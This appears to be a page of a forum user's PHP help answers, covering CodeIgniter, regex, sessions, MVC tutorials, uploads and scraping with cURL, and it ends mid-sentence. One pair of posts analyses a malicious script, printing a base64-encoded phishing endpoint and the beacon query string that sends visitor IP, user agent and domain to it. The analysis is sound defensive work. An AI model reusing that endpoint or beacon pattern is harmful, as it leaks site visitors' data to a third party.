veedeoo 474 Junior Poster Featured Poster

From what script is this? Is it from PHP using a PHP/Java bridge, or simply a regular PHP script?

If it is from regular PHP application script, then the IO is the class or object and intValue is the static method of that object.

for example, we can have a class with static method like this

class IO{

    public function __construct(){
    }

    public static function intValue($id){

        return(intval($id));

        }
  }      

The class above can duplicate or allow us to test your code.

echo IO::intValue('50');

it should print out 50 which is an integer. Eventhough, I made it like a string.

My example above is extremely simple that in real world application, the class is not even needed due to int() function that can do the job with less code.

veedeoo 474 Junior Poster Featured Poster

GET here

POST here

veedeoo 474 Junior Poster Featured Poster

it is similar to the template engine cache function. The only difference is that in template engine such as smarty, we can define which block of contents should be ignore by the cacheing mechanism.

In codeigniter, it will keep the cached the contents based on the definition of $x as time in minutes.

$this->output->cache($x); // $x is the number of minutes

Warning!
Only use this function outside the form, login form, user's account page, administration page and other contents where login authentication is required.

If you will be using this function, it is helpful to create a purging script or class to give you the option to purge the cached content on demand without manually deleting them.

It is useful in delivering contents that don't change a lot. For example, a front page with content from the database that don't change a lot can use the cache function. It will definitely saves a great deal of server resources by just loading the cache page rather than executing a database fetch queries for the contents.

veedeoo 474 Junior Poster Featured Poster

try

$sql = "CREATE TABLE $uID(".
"Col0 int(10) NOT NULL auto_increment,".
"Col1 varchar(255) NOT NULL,".
"Col2 varchar(255) NOT NULL,".
"Col3 varchar(255) NOT NULL,".
"PRIMARY KEY(Col0)".
")";       
veedeoo 474 Junior Poster Featured Poster

if the photos name and file name are stored in the database, you need pagination. We have plenty of pagination scripts and threads here in Daniweb.

if the photos are in the directory and you are reading the contents by way of PHP, then you want the pagination using javascript as shown here. DynamicDrive's example is only for one image. For 25 images, you can modify the demo script to this...

<script type="text/javascript">

var pagecontent=new virtualpaginate({
 piececlass: "virtualpage", //class of container for each piece of content
 piececontainer: "div", //container element type (ie: "div", "p" etc)
 pieces_per_page: 25, //Pieces of content to show per page (1=1 piece, 2=2 pieces etc)
 defaultpage: 0, //Default page selected (0=1st page, 1=2nd page etc). Persistence if enabled overrides this setting.
 wraparound: false,
 persist: false //Remember last viewed page and recall it when user returns within a browser session?
})

pagecontent.buildpagination(["paginatediv"])

</script>

Here is another one.

veedeoo 474 Junior Poster Featured Poster

in addition to Mr. Pritaeas's response, this

$regex = '/TITLE>(.+?)TITLE/';

gives us the expected result.

Blank website. Blank site. Nothing to see here.</

Yes, this </ is included. So, it isn't really the same result as

$regex = '/<TITLE>(.+?)\<\/TITLE\>/';

which will give us

 Blank website. Blank site. Nothing to see here.

One limitation of the regex code above is that, it will not give us anything if the title tag is written in lowercase as in html5 standard

$title = '<title>Blank website. Blank site. Nothing to see here.</title>';

to make our regex case-insensitive we can change the regex filter to

$regex = '/<title>(.*)<\/title>/i';

the above should return the title string from either

$title = '<title>Blank website. Blank site. Nothing to see here.</title>';

or

$title = '<TITLE>Blank website. Blank site. Nothing to see here.</TITLE>';

test:

    if(preg_match('/<title>(.*)<\/title>/i',$title,$matches)){
echo $matches[1];

 }

should return the title string from either of the title variables.

veedeoo 474 Junior Poster Featured Poster

catalinetu is correct, just add second and third parameter to the get method. Derived from this

public function get($table = '', $limit = null, $offset = null)
{

}
veedeoo 474 Junior Poster Featured Poster

you can use explode if you want.

$this_category = explode(',' , $row['category_id']);

    foreach($this_category as $cat){
        echo $cat.'<br/>';
        }

or if you want to become creative , you can do it like this

foreach((explode(',',$row['category_id'])) as $cat){

    echo $cat.'<br/>';

    }
veedeoo 474 Junior Poster Featured Poster

Thanks @Adrian for bringing that up. Yes, Laravel can do a lot more that what I have presented above by way of Artisan.

In the case of CodeIgniter, codeigniter needs to simultaneously load at least 50 or more files during a single controller requests.

I use this simple PHP function to view all related files both from the system, libraries, and helpers during a simple application's controller request.

<?php

    class Myclass extends CI_Controller{
        private $included_files;

        public function __construct(){

            parent::__construct();

            $this->included_files = get_included_files();

echo 'this application included files:  '. count($this->included_files).'<br/>';

foreach ($this->included_files as $file) {
    echo $file.'<br/>';
}


    }
}    

The above will show the included file count, but that will not show files that are included after the application initialization process e.g. model called libraries and helpers.

If I have a simple login and registration with a template engine like smarty with twig fallback, both of the parent and child constructor above are obligated to load at least 63 files during initialization. I mean at idle when no one is logging in.

below is a test result from codeIgniter. WARNING! this test was conducted just for the fun of it and not something academic in nature. I know the result can be easily debated, but having an approximation as a baseline can help even if the actual application will load half the number of my test results.

C:\server\www\codeigniter3\index.php C:\server\www\codeigniter3\system\core\CodeIgniter.php C:\server\www\codeigniter3\system\core\Common.php C:\server\www\codeigniter3\application\config\constants.php C:\server\www\codeigniter3\system\core\Benchmark.php C:\server\www\codeigniter3\application\config\config.php C:\server\www\codeigniter3\system\core\Hooks.php C:\server\www\codeigniter3\system\core\Config.php C:\server\www\codeigniter3\system\core\Utf8.php C:\server\www\codeigniter3\system\core\URI.php C:\server\www\codeigniter3\system\core\Router.php C:\server\www\codeigniter3\application\config\routes.php C:\server\www\codeigniter3\system\core\Output.php C:\server\www\codeigniter3\application\config\mimes.php C:\server\www\codeigniter3\system\core\Security.php C:\server\www\codeigniter3\system\core\Input.php C:\server\www\codeigniter3\system\core\Lang.php C:\server\www\codeigniter3\system\core\Controller.php C:\server\www\codeigniter3\application\controllers\users.php C:\server\www\codeigniter3\system\core\Loader.php C:\server\www\codeigniter3\application\config\autoload.php C:\server\www\codeigniter3\system\helpers\url_helper.php …
veedeoo 474 Junior Poster Featured Poster

Pretty much all of the frameworks have a pretty good security. Companies geared in ecommerce development based on Magento will require you to know Zend. Magento is based on the Zend Framework. However, there is a pretty steep learning curve in Zend. You will have to know the basics of MVC design pattern first and then move on to Zend, else prepare to pay a high price for the course being offered by Zend.

There are some companies doing ecommerce development based on CodeIgniter, Laravel and Kohana. Most corporate and business websites are built on CI with foundation or bootstrap. There are some downside to using CI. CI is no longer being maintain by its creator. Meaning, that from that day Ellis Lab ceased their support, you are on your own. Using CI to this date requires you to be able to write your own module. For example, the password module is not as effecient as the latest PHP password hash function found in PHP 5.5.x or higher. You will need to know how to create a modules and helpers for CI so that you can utilize this.

Regardless on which one you learned and mastered, employer will always look for proficiency in OOP, MVC design patterns, and the knowledge and experience in creating an application in either one or two of these frameworks CI, Kohana, Laravel, Zend, or Symfony 2.

If you are crazy like me, learn all of them and you wouldn't be asking this type …

veedeoo 474 Junior Poster Featured Poster

Grand Canyon South Rim. Look for the smartest squirrel begging for food in exchange of pretty cool tail swag :).

016c78b730fb005569e5a47b01c7a65b

Zion National Park in Utah.

4146333be8aa6d67d9a8965d513f15ef

veedeoo 474 Junior Poster Featured Poster

remove all semi-colons following the curly brackets.

if(){

}

else{

}

please refer to the proper syntax usage in PHP here or here. You can also search google for PHP basic construct and semantics.

veedeoo 474 Junior Poster Featured Poster

The problem with the HTML5 is that not all browsers support the same video codec. Because of this, you will have to encode two to three different video formats to support common browsers. This will take more space.

What I can suggest is to use the .mp4 video and deliver it through jwplayer or flowplayer so that if the browser does not support it, the player will go on to the fallback mode which is the flash player loading the mp4 video file. Most mobile supports mp4 videos.

Besides, html5 video is still pretty new. It hasn't even address the security issue, live streaming, and few other limitations. One stumbling block that you will be encountering as your site gets bigger is the video conversion on the server. Unless, you will have a powerful server to utilize ffmpeg in converting one video to three different wrappers e.g. ogg, mp4, webm, flv.

veedeoo 474 Junior Poster Featured Poster

can you try running this

<?php

     phpinfo();

direct your browser to this page and look for the loaded configuration file. It should tell you which php.ini is being loaded by the xampp.

veedeoo 474 Junior Poster Featured Poster

There is function in PHP called date_default_timezone_set() which can set the default time zone of an application or the runtime configuration.

For example, we can define the default timezone of an application to any timezone supported.

date_default_timezone_set('Europe/London');

if we do this

echo time();

Will give us the timestamp for London. I am not sure if the time is adjusted to DST. If not, then the timestamp will be an hour late to the actual time.

If you have access to php.ini file and if you are allowed to edit it, you can add or define the date.timezone to whatever timezone you want as long as it is supported.

date.timezone = "Europe/London"

Please read this list of supported timezones.

Update:
For mysql, please refer to this documentation.

veedeoo 474 Junior Poster Featured Poster

I think Diafol have already given you what you need. Store the submitted information in session.

In fact, you can store them as an array. Below is a sample codes...

$upload_info = array($title, $description, $uploaded_file_name, $other_things_you_want);

$_SESSION['up_data'] = $upload_info;
header("Location: form.php");
exit;

on redirect, the user will land on the form.php. place session_start() on top of the page as suggested above.. we can access the information stored in the session.

echo 'Title : '. $_SESSION['updata'][0].'<br/>';
echo 'Description :'. $_SESSION['updata'][1].'<br/>';
echo 'Uploaded File: '. $_SESSION['updata'][2].'<br/>';

That's pretty much it.....................

Added Later:
You can also do the database insertion here if you desire to do so.

veedeoo 474 Junior Poster Featured Poster

Hello Everyone,

I wrote this script way back in 2008 as Version1. However, I was forced to forget about this, because it was criticized by many developers with BS, MS, and "Seasoned PHP Developer" under their names. During those days, I couldn't stand up for my own reasons, because I can't even put High School graduate as my lone achievement under my name. I was told this script was 10 steps backward to where we at in 2008. If my memory still served me well, even my own brothers in Silicon Valley have asked me to forget about this.

enough of bad memories behind this script Honestly, I could have developed this into something useful, if I was given just a little moral support.

CLI was introduced in PHP some very long time ago. However, it wasn't popular and most of the people have questioned or were not interested in writing any application VIA the command line Iterface. For some odd reasons, laravel, FuelPHP and others took advantage of the CLI features. Anyone who are familiar with Laravel, Symfony2, and Fuel PHP can easily relate to what I am talking about. Else, my sincere apology for bringing the subject on some relic technology.

I love the idea of being able to generate or create an application through command prompt. This may sound too foolish and Backward in 2008, but today I can easily demonstrate why it is important for new comers in PHP MVC Framework, most imporatantly CodeIgniter users.

Why …

veedeoo 474 Junior Poster Featured Poster

also, you can try running this

<?php
    echo '<br/>'.ini_get('upload_max_filesize').'<br/>';
    echo (ini_get('post_max_size'));
    echo '<br/>'.ini_get('max_execution_time').'<br/>';

    ?>

post back your output...

momonq1990 commented: thank you :D +2
veedeoo 474 Junior Poster Featured Poster

Diafol... that is your own phpinfo().. I just checked the domain and it is a phishing url according to trendmicro..

I think we should remove the full url from this thread.

veedeoo 474 Junior Poster Featured Poster

tried

<?php

    echo base64_decode('  aHR0cDovL3B1YmJvdHN0YXRpc3RpYy5jb20vc3RhdEMvc3RhdC5waHA=');

and you are right that translate to xxxxxxxxxxxxxxxxxxxxx/statC/stat.php

but your information is being sent out like this /statC/stat.php?ip=''&useragent=''&domainname=yourWebsite.com&fullpath=''&check=''

You will need to research about this though. What I am telling you above are all based on presumption. It can be true, but there are always other facts outside the scope of my understanding.

veedeoo 474 Junior Poster Featured Poster

If you want to prove my analysis about this script, try simulating this on your localhost.

change this

 aHR0cDovL3B1YmJvdHN0YXRpc3RpYy5jb20vc3RhdEMvc3RhdC5waHA=

to this

aHR0cDovL2xvY2FsaG9zdC9zdGF0LnBocA==

which is nothing but redirecting their hack on your localhost/stat.php

On your localhost public directory create a file stat.php and paste the following codes

if(isset($_GET['ip'])){

    echo urldecode($_GET['ip']).'<br/>';
    echo urldecode($_GET['useragent']).'<br/>';
    echo urldecode($_GET['domainhame']).'<br/>';
    echo urldecode($_GET['fullpath']).'<br/>';
    echo urldecode($_GET['check']).'<br/>';

    }

You can also write them on a text file....

veedeoo 474 Junior Poster Featured Poster

This is a continuation of our basic tutorial on MVC Framework. In this section, we will be creating the template files for both the TBS and the Smarty template engines.

The recap
In part one, we have created application controllers, models, and the one and only lone View class. Once again, please allow me to present few segments of those Classes here.

Main Controller We will use this as our example. All of our application controllers have the method called index(). If we can recall from part one, we made the parent controller as an abstract class with an abstract method called index(). Remember? By doing so, all of our application controllers must have a method with the same name as the abstract method of the parent. As I have already mentioned that the only reason in doing this is to serve like a training wheel. We don't want our application to wonder off the patterns that we want our application to take.

public function index(){
    $this->view->use_tbs($this->main_model->Content(),FileHelper::parse_menu(),'index',FALSE);
    $this->view->use_smarty($this->main_model->Content(),null,'index',FALSE);
}

Let us take those two items inside the method index() above. They may appear odd and with no to little relevance to unsuspecting eyes, but those two lines of codes are the logic carriers/converters. In other words, after the model or other methods in the controllers performed all of their business logic responsibilities, the resultants or the products of those processes must be delivered to the view. The view will then take these products and process it …

veedeoo 474 Junior Poster Featured Poster

Part One: Learning the Basic Patterns

Disclaimer: please pardon my spellogrammatico errors. I am not really a rough draft person. I type and write codes the split seconds as they crossed my mind, otherwise I will get extremely lazy and then will eventually hibernate like a tardigrade. I hope I do not add more confusion to this subject matter.

Today is the last day of my very short Spring Break and I pretty much did not do anything productive for days, except for learning the new programming language called hack from facebook. I thought it would be something that I would spend my entire Spring break, but my assumption was wrong. The language was pretty cool and easy to learn. I also believe that the Hack language is the next biggest innovation in Web development.

Brief history of the script and about me
Years ago, I was trying really hard to learn MVC design patterns and I came up with this MVC framework simulator script. The script will also include the template engines I added into it, mainly the smarty and TBS.

What I am trying to convey here is how easy it is to learn PHP MVC pattern, only if we know the basic foundations than just downloading a framework e.g. CI, CAke, symfony2 without knowing how they were built. If a 10th and 11th grader can hack it, I am definitely sure you can.

Special Thanks
My special thanks to Mr. Lorenzo De Leon Alipio for …

pritaeas commented: Very nice! +14
veedeoo 474 Junior Poster Featured Poster

WARNING! Parsing any remote contents without any written permission from the owner can cause a messy legal battle in court. Prepare to have millions of dollars if you are standing against big corporation. Just saying. Technology is pretty cool, but crossing beyond what we call responsible and ethical programming is an extremely dangerous practices.

One effecient way of doing this is to load the remote html file through cURL. At least, this will minimize the vulnerability of your server (by setting the allow_url_fopen directive to ON). With the utilization of cURL, you can set this to OFF.

 function useCurl($url,$source=null){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)');
        curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_AUTOREFERER, true);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $this->output = curl_exec($ch);
        curl_close($ch);
        return $this->output;
        unset($this->output);
      }

we can implement simple html dom as simple as this

$this_html = file_get_html(useCurl('my_url'));

foreach($this_html->find('p') as $item_p){
    ## do something witht the $item_p
    }

to parse anything with class and id

foreach($this_html->find('p') as $item_p)){

    foreach($item_p->find('id=channels') as $channel){
        echo $channel; // this give us ABC FAMILY


}

parse the remaining <p> whatever you will have to do..

veedeoo 474 Junior Poster Featured Poster

Hi,
May I add someting?

there is a PHP object called ArrayObject ArrayIterator method and I think (but not sure) there is also a method for it called key. Just don't have time to look it up, but it is pretty much for getting the key of an array. Though I am not sure what is the memory cost for Iterator, it should let you write codes a lot shorter.

veedeoo 474 Junior Poster Featured Poster

I do understand the concerns over the learning of a new syntax, Diafol already explained it pretty well. I hope you will reconsider template engine in the future.

Although there were one or two people who disagreed, I also respect the point of views and expressed opinions of the person on stackoverflow.

As already mentioned by Diafol, the ultimate finished product of your labor is a robust, highly extensible, and a convenient to use application. Once you achieved this type of product, you can literally throw anything in it e.g. have a forum, a blog, e-commerce section, a company landing page. This can be easily added by just directing the requests to the new controllers.

On the side track, have you guys heard the new programming language called "HACK" by facebook? This is aimed to boost code safety in PHP.

I just downloaded the HHVM virtual machine to try it out. This maybe the next revolution in web development. I think I will invest my entire Spring break learning how to write codes in HACK.

veedeoo 474 Junior Poster Featured Poster

Creating a helper for the view will make things more complicated to maintain. However, I always escape the so called "MVC conundrum" by just implementing template engine on my MVC framework. This may sound a little bloated as far as application disc size is concern, but the template engine will actually protect your codes from the accidental deletion by the front-end developer. I added a simple diagram below for the clarification. In real world, MVC has evolved and because of this more and more variants are coming into the league.

The framework in variant two is well protected from the front-end developer. They can literally delete everything on the template file and the source codes are always safe.

The Cons:
The biggest drawback in using template engine. Most template engines are bloated to the size of almost 3MB or higher. Template engine parse and recompile the source output so that it can create a new PHP equivalent output to the browser. So, the process time and server resources is almost 2X compared to the plain PHP as template.

There is some learning required in implementing template engine. This is the most excruciating to some, even Fabien Potencier the founder and author of the Symfonny2 once said "PHP does need a template engine", but later on changed his thoughts about templating engine and then he eventually creating his own template engine called TWIG.

If not carefull, application can end-up doing double iterations. Using …

veedeoo 474 Junior Poster Featured Poster

try putting this

session_start();

above the page, just right after <?php

<?php

    session_start();
veedeoo 474 Junior Poster Featured Poster

All these confusions about MVC pattern architecture began at the CakePHP's bakery and then followed by pretty much everyone. Some of the frameworks that are versatile enough to follow or not to follow the true MVC pattern are the CI and Kohana frameworks. In CI and Kohana, we can pretty much write an application giving much emphasis on the Controller and the Model. By doing so, the View has become almost a distant member of the group. However, we can also write an application that will adhere to the true MVC doctrines under these frameworks.

By doctrines, the user sends request to the Controller, then the controller triggers an instance of the model, the model sends the output to the view. It is clear that the communication between the Model and the View are direct in terms of output transmission, instead of Controller to Model -response- Model to Contoller --output--Controller to View. So, pretty much the intetion is clear to deliver the output from Model to View.

Example of an acceptable M V C pattern based on doctrines. Most MVC's base controllers are abstract, but not all. In this example, the base controller or the parent is not an Abstract class.

Filename: Test.php Type: Application Controller file (child)

Class Test extends Controller{

    private $model;

    public function __construct(){

        parent::__construct();
        $this->model = new TestModel();


        }

    public function index(){

        $this->model->get_content();

        }
        }

Filename: TestModel.php Type: Application Model file (child)

   Class TestModel extends Model{

       private $load; 

       public function __construct(){
           parent::__construct();
           $this->load = …
veedeoo 474 Junior Poster Featured Poster

don't expect to get other solution. It can be done, but it will be out of the ordinary. My answer is no and no :).

Why not? Because java applets are delivered between <applet></applet> tags. There is no way to parse the linked applet class.

<html>
<body>
<applet code="someJavaAppletClass.class"></applet>
</body>
</html>

The problem is that even if we follow the code attributes, the cURL will ended up downloading it, but will not be able to parse whatever the class output.

Even if we donwloaded the applet and convert it to some text file that can be read by PHP, it will be very difficult to guess the class output.

Take this simple lifted snippet from a working applet. This is just a part of the script just to give you the clear insight of what is going in the applet..

  private Image thisImage;
  private AppletContext context;
  public void init()
  {
      context = this.getAppletContext();
      String thisImageURL = this.getParameter("thisImage");
      if(thisImageURL == null)
      {
         thisImageURL = "test.jpg";
      }

We can matched the curly bracket, but thisImageURL will be difficult to capture. Unless, we use the line breaks BUT I honestly will not go and explore that possibilities. It is tidious process just to be able to parse the location of the test.jpg.

Good luck to you..and thank you for visiting Daniweb.

veedeoo 474 Junior Poster Featured Poster

okay, I will download it and take a look at the source code.

I have a minor corrections on my recommendations above. I mentioned that CI uri convention was mydomain.com/controllers_name/method_name/. However, the out of the box CI was not like that. It is like this mydomain.com/index.php/controllers_name/method_name/.

To eliminate the index.php in the middle of the url, we need to add this .htaccess file in the installation directory

RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule .* index.php/$0 [PT,L]  

That should eliminate the needs of typing index.php .

When I was learning about MVC design patterns, my older brother told be to practice on CI. Although I am Zend Certified, my very first taste of PHP MVC framework was in CI and not in Zend Framework.

I also wrote a PDO CRUD library for CI, because the database library is getting really old now.

iamthwee commented: super! +14
veedeoo 474 Junior Poster Featured Poster

Can you please confirm that the above backend controller is named search.php?

<form action="<?php echo site_url('search'); ?>" method="GET">

The form attribute action should be in the condtroller's object/object's method convention.

So, If we want to process the form above, the controller responsible for it will be the search controller, ===> instance of search object ==> utilizing the do_search() method.

There is a form helper in CI that can easily handle this.

$form = form_open('search/do_search',$attributes)
$submit = form_submit( 'submit', 'Search'),

pretty much equivalent to

<form action="search/do_search" class="attributes" id="attributes">

<input type="submit" name="submit" value="Search"/>

implemetnaton on the template file or front-end

<?php echo $form;?>

<!-- put the remaining of the form here -->
<?php echo $submit;?>

</form>
veedeoo 474 Junior Poster Featured Poster

I would difinitely create a separate controller and methods intended for the admin. For example, if we have a url mydomain.com/admin/settings/, then our object will be called admin and the method is called settings.

Using the target url above we can device our admin class

class Admin extends CI_Controller {

    public function __construct(){
            $this->load->helper('url');
            $this->load->library('session');
            ## we can also load the form validation and form helper here if needed.
            }

    public function settings(){

        ## if logged_in and privs is equal to admin
        ## set is_admin to session

        }

   /*
   * create methods for whatever options available to the admin
   */

   public function manage_users(){

   ##create Admin_model class with method called get_users()
   ## we can load our database and then create an instance of the Admin_model

   $this->load->database();
    $this->load->model('admin_model');

    ## send members array to the view
    $these_members = $this->admin_modle->get_users();

    }

    }

so if the user is admin and the session is_admin exists, then mydomain.com/admin/settings and mydomain.com/admin/manage_users can be served.

veedeoo 474 Junior Poster Featured Poster

I think you need to save the csv file before attaching it to the email.

Here is a test script I made to create and send csv file.

Step 1 : Download the phpmailer class here.

Step 2 : Unzipped the phpmailer zip file.

Step 3: In your server, create a directory named phpmailer. Move these files from the unzipped files to the phpmailer directory.

phpmailer/
class.phpmailer.php
class.pop3.php
class.smtp.php
PHPMailerAutoload.php

Step 4: Take a look at this example fputcsv script post 14.

Step 5: We modify the script to use MySQLI. I urged you to modify the MySQLI. I wrote it just to be able to connect an retrieve data for my testing.

 <?php
require_once('phpmailer/class.phpmailer.php');

## set database credentials
$db_host = '';
$db_user = '';
$db_pass = '';
$db_name = '';


$db_conn = new mysqli($db_host, $db_user, $db_pass, $db_name);

if (mysqli_connect_errno($db_conn))
  {
  echo "Failed to connect to MySQL: " . mysqli_connect_error();
  }


 ## the function from http://us3.php.net/fputcsv

function query_to_csv($db_conn, $query, $filename, $attachment = false, $headers = true) {

    if($attachment) {
        // send response headers to the browser
        header( 'Content-Type: text/csv' );
        header( 'Content-Disposition: attachment;filename='.$filename);
        $fp = fopen('php://output', 'w');
    } else {
        $fp = fopen($filename, 'w');
    }

    $result = mysqli_query( $db_conn, $query);

    if($headers) {
        // output header row (if at least one row exists)
        $row = mysqli_fetch_assoc($result);
        if($row) {
            fputcsv($fp, array_keys($row));
            // reset pointer back to beginning
            mysqli_data_seek($result, 0);
        }
    }

    while($row = mysqli_fetch_assoc($result)) {
        fputcsv($fp, $row);
    }

    fclose($fp);
}

Step 6: We …

veedeoo 474 Junior Poster Featured Poster

In addition to Cereal's observations, if extending a class, and if the child class has its own contructor, the parent's constructor must explicitly called like so...

<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');

    class Index_model extends MY_Model {

        public function __construct(){

            ## before loading anything like library and helper
            parent::__construct();

        }


        }

I hope that helps a little.. :)

veedeoo 474 Junior Poster Featured Poster

Hi,

I thought it should be like this

<?php
require('Your_Wordpress_directory/wp-blog-header.php');
?>

If you want to show your article, it can be written like this

<?php
require('Your_Wordpress_directory/wp-blog-header.php');
?>

<?php
$number_of_post = 5; ## change this value to your own needs
/*
*@order is for the database query Ascending or Descending sort method
*/
$order = 'ASC'; 

/*
*@ order_by
* post title is the column name of the wp_post table. 
* You can change this to several options e.g. post_date, etc..
*/
$order_by = 'post_title'; 

$posts = get_posts('numberposts=10&order=ASC&orderby=post_title');
foreach ($posts as $post) : setup_postdata( $post ); ?>
<?php the_date(); echo "<br />"; ?>
<?php the_title(); ?>    
<?php the_excerpt(); ?> 
<?php
endforeach;
?>

You can also copy and paste these codes from the codex as shown..

<?php
    require('Your_Wordpress_directory/wp-blog-header.php');

    global $post;

    $args = array( 'posts_per_page' => 3 );
    $myposts = get_posts( $args );
    foreach( $myposts as $post ) :  setup_postdata($post); ?>
    <a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a><br />
    <?php endforeach; ?>

Those PHP tags mixed-up are so tempting for correction, please don't do it. It is part of the Wordpress Syntax.

To acquire the theme style, just view the html source of your wordpress and use the css file url.

veedeoo 474 Junior Poster Featured Poster

davy_yg,

There is a sure shot in checking if the query is indeed valid. All you have to do is get on to your phpMyAdmin page, click on the database of which your query is adressed or intended to be executed, click on the SQL tab and then paste your query without double quotes and then hit the "go" button. If your query is written properly, then it should show some results.

Another effecient method in perfecting your mySQL fluency is to use the mySQL workbench from oracle. Connect to your target database and then paste your query to check if it is a valid one. You can also optimized your query if needed. Copy the optimized query and plug it in to your PHP script.

There are many things you can do in the workbench that you can't do in running a query through the PHP script.

veedeoo 474 Junior Poster Featured Poster

Hi,

This is pretty easy task in PHP.

First, get yourself acquainted with the ftp_login PHP function.

Second, test that function in a more meaningful application utilizing the ftp_put PHP function as shown here.

Lastly, please allow me to add my own personal opinion about these PHP functions in just ONE short sentence. It is pretty SLOW.

Other solution that is a lot faster than what I have mentioned above is to use cURL or remote uploads server to server. This can be very fast..

showman13 commented: Perfect, informative response +2
veedeoo 474 Junior Poster Featured Poster

Notepad++ will not be able to detect it, but not all the time. A good IDE like NetBeans is capable of detecting those embedded <div> tags.

Notepad++ can surely detect this type of coding technique.

<?php

function doSomething(){

return array('home'=>'Home', 'about'=>'About','contact'=>'Contact');

}

function doItAgain(){

return array('Home','About','Contact');

}

 $x = doSomething();
 $y = doItAgain();

?>

<html>
<head>
</head>
<body>
    <div>
    <ul>
    <li> <?php echo $x['home'];?> </li>
    <li> <?php echo $x['about'];?> </li>
    <li> <?php echo $x['contact'];?> </li>
    </ul>
    </div>

    <!-- second group of codes here -->

</body>
</html>

and this one, it won't be able to ..

   <br/>

    <ul>
    <!-- notepad++ will not be able to detect codes below -->
    <?php
    foreach($y as $item){
    echo '<li>'.$item.'</li>';
    }

    echo '</ul>';
    ?>
veedeoo 474 Junior Poster Featured Poster

I thought this question was just posted some 20+ hours ago, and then I just realized it was awaken from the bone files of two years ago. :).

Jason_10 commented: Do they have an update here? +0
veedeoo 474 Junior Poster Featured Poster

hi,

I don't understand this

<?php
$tcode="$_POST[teamID]";
?> 

If my suspicion is correct, then it should be coded as something like this.

<?php

$tcode = $_POST['teamID'];

?> 
RikTelner commented: That's probably the answer. +2
veedeoo 474 Junior Poster Featured Poster

hi,

this

  if ($searching =="yes")

don't make sense at all. Even-after looking at the original codes at about.com, Angela Bradley did not make her points very clear. How can she possibly evaluate $searching in a True or False context ,if searching is indeed part of the form vars.

To make it work, you will have make minor adjustments to the codes. There are many ways of doing this. You can either remove it or define a new variable $searching. It can be something like this

    if(isset ($_POST['submit']) && ($_POST['searching'] === 'yes')){

    ## put all of your codes here

    ## or define the variable $searching

    $searching = true;

    }

We can change the orginal code to something like this

  if ($searching){
  ## rest of codes here

  }

I prefer completely eliminating the $searching in if statement as originally coded.

matrixdevuk is precisely correct, PDO is worth learnig and It won't take your entire day to learn it. From PHP 5.5.0 version, the old MySQL extension is no longer supported and we can either use MySQLI or PDO extension.

veedeoo 474 Junior Poster Featured Poster

Warning? This is a prototype script. So, there will be no css and javascript included. The upload.php is not intended for public access. This script is not intended for production server until further notice or until some of its vulnerabilities are fixed.

Let's start from the very basic. I normally write codes in OOP, but for the clarification, I will be writing this in procedural. We will be using the MysQLI and PDO. Besides, I really missed the freedom of writing codes in procedural, no design patterns, not too many things to follow, but trying to write codes. However, as we test our script, we will slowly convert all the codes to OOP so that it will become more extensible for future improvements and upgrades.

The reason for the mysqli implementation is that PDO have a minor bugs in handling PDF as BLOB ( insert only). To minimize the trouble of trying to fix this minor bug, I decided to use mysqli for the upload part.

Ready?

  1. On your phpMyAdmin, create a new database. You can name this any name you want. After creating the database, create a table named edudata_mysql and click on the sql tab and import codes below.

tableName: edudata_mysql

CREATE TABLE IF NOT EXISTS `edudata_mysql` (
  `edudataid` int(20) NOT NULL AUTO_INCREMENT,
  `filename` varchar(255) NOT NULL,
  `size` int(25) NOT NULL,
  `filecontent` longblob NOT NULL,
  `subtopicid` int(11) NOT NULL,
  `type` varchar(100) NOT NULL,
   PRIMARY KEY (`edudataid`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;

I eliminated the 'sortkey' …

veedeoo 474 Junior Poster Featured Poster

Attached image is a good example of a cms backlog or wish list. I just finished developing it 3 days ago. It took me months but it came out pretty cool I think. It is now in alpha version awaiting to be scrutinized by my fellow geeks.

The idea is to be able to monitor the progress or at least see the panoramic view of the entire project. Most importantly is the ease of designing the database.

veedeoo 474 Junior Poster Featured Poster

We can help you, but it looks like you skipped the first step. Do you have any codes organization in mind? You should give us some of your ideas, even a simple diagram of your program design.

here are the hints. Write all the possible events when the user landed on the presentation interface of your program, then put a note where the data from the database are needed. Based on this diagram of design flow, you should be able to visualize how the database table should look like as far as the columns are concern. For example, cols: title, ISBN, author, publisher, date of publication, tags, description, reviews, number of reviews, number of people who read the book, and many other things.

Write this on a piece of paper and then draw your block diagram. It is not necessary which type you use. It could be control flow, data flow etc. etc..

Just have something that shows your motivation and willingness to do your part, before we do our part of helping. You do that and I promise I will take my time walking you through the codes, until you either understand how it works or you just had enough of my blabbering.

veedeoo 474 Junior Poster Featured Poster

Hi,

You can either use netbeans IDE, or php designer2007 personal edition as your PHP source code editor. These applications will tell you what other PHP plugins you need to install to be able to use the debugging feature.

veedeoo 474 Junior Poster Featured Poster

Cereal's instruction is precise.

The php not recognized as internat or external command error is probably due to your system setting.

  1. Open your command prompt.
  2. type

    php -v

you should see what version of php is on your computer. If you don't see this, then you will have to set the system environment variables and make sure **C:\xampp\php; ** is included there. I am not going to elaborate on this, because you probabaly know more about this than me due to the fact that you are a professor.

  1. Follow Cereal's recommendation.. He mentioned that one alternative of installing laravel is through composer which I believe is the most effective way of installing laravel.

  2. Install composer by downloading it here.

  3. After installing the composer, go to C:/xampp/htdocs and create your laravel directory. e.g. c:/xampp/htdocs/laravel.

  4. Open your command prompt and then paste this.

    composer create-project laravel/laravel

It is ok not to include the prefer dis, it will eventually install the latest from the packagist.org.

Composer should have created these directories

laravel
 +laravel
     +app
     +bootstrap
     +public
     +vendor
     composer.json
     composer.lock
     server.php
     artisan
     // and other files.

direct your browser to http://localhost/laravel/laravel/public/ , you should see the laravel message "You Have Arrived".

if you don't want the laravel/laravel on your url, use this command on install

composer create-project laravel

instead of

composer create-project laravel/laravel
veedeoo 474 Junior Poster Featured Poster

This can be probably prevented, but I don't really find any 100% eradication solution for an iframe. For example, if you are allowing your user to do this

